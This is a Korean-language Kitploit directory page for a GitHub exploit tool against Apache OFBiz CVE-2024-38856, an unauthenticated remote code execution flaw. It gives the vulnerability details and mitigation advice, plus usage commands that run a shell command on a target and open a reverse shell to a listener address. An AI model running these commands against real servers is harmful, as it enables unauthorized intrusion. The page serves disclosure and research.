Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Apache-OFBiz-Exploit — Apache OFBiz용 익스플로잇 - CVE-2024-38856 | Kitploit
도구/GitHubGitHub/alissonfaoli/apache-ofbiz-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubalissonfaoli/apache-ofbiz-exploit

Apache-OFBiz-Exploit

Apache OFBiz용 익스플로잇 - CVE-2024-38856

저장소 보기
111년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Apache-OFBiz-Exploit

Apache OFBiz 익스플로잇 (CVE-2024-38856) 제작자: Alisson Faoli

설명

이 저장소는 Apache OFBiz에서 발견된 CVE-2024-38856 취약점에 대한 익스플로잇을 포함합니다. 이 결함은 인증되지 않은 RCE(원격 코드 실행)를 허용합니다.

참고: 이 익스플로잇은 교육 및 연구 목적으로만 제공됩니다. 오용은 불법일 수 있으며 사용자의 단독 책임입니다.

취약점 세부 정보

CVE: CVE-2024-38856

영향 받는 소프트웨어: Apache OFBiz 버전 18.12.14까지

취약점 유형: RCE

악용 조건: 인증 불필요

참고 자료:

  • https://www.zscaler.com/blogs/security-research/cve-2024-38856-pre-auth-rce-vulnerability-apache-ofbiz
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38856
  • https://www.cyfirma.com/research/cve-2024-38856-pre-authentication-remote-code-execution-rce-vulnerability-analysis-and-exploitation/

사용법

저장소 복제:

root@kitploit:~
git clone https://github.com/AlissonFaoli/Apache-OFBiz-Exploit.git
cd Apache-OFBiz-Exploit

의존성 설치:

root@kitploit:~
pip install -r requirements.txt

익스플로잇 실행:

RCE: python3 CVE-2024-38856.py cmd -t https://10.150.10.200:8443 "whoami"

SHELL: python3 CVE-2024-38856.py shell -t https://10.150.10.200:8443 -l 10.150.10.123 -p 4444

완화 방법

이 취약점을 해결하려면 Apache OFBiz 관리자가 다음을 권장합니다:

  • 패치된 버전으로 업데이트하세요: https://ofbiz.apache.org/download.html
  • 알려진 악용 시도를 차단하기 위해 방화벽 또는 WAF 규칙을 적용하세요.

연락처

질문이 있거나 익스플로잇 개선 사항을 보고하려면 저에게 연락하세요: LinkedIn: https://linkedin.com/in/alisson-faoli/

법적 고지:

이 코드는 오직 교육 목적과 승인된 환경에서의 보안 테스트를 위해 제공됩니다. 작성자는 오용에 대해 책임지지 않습니다.

도구 다운로드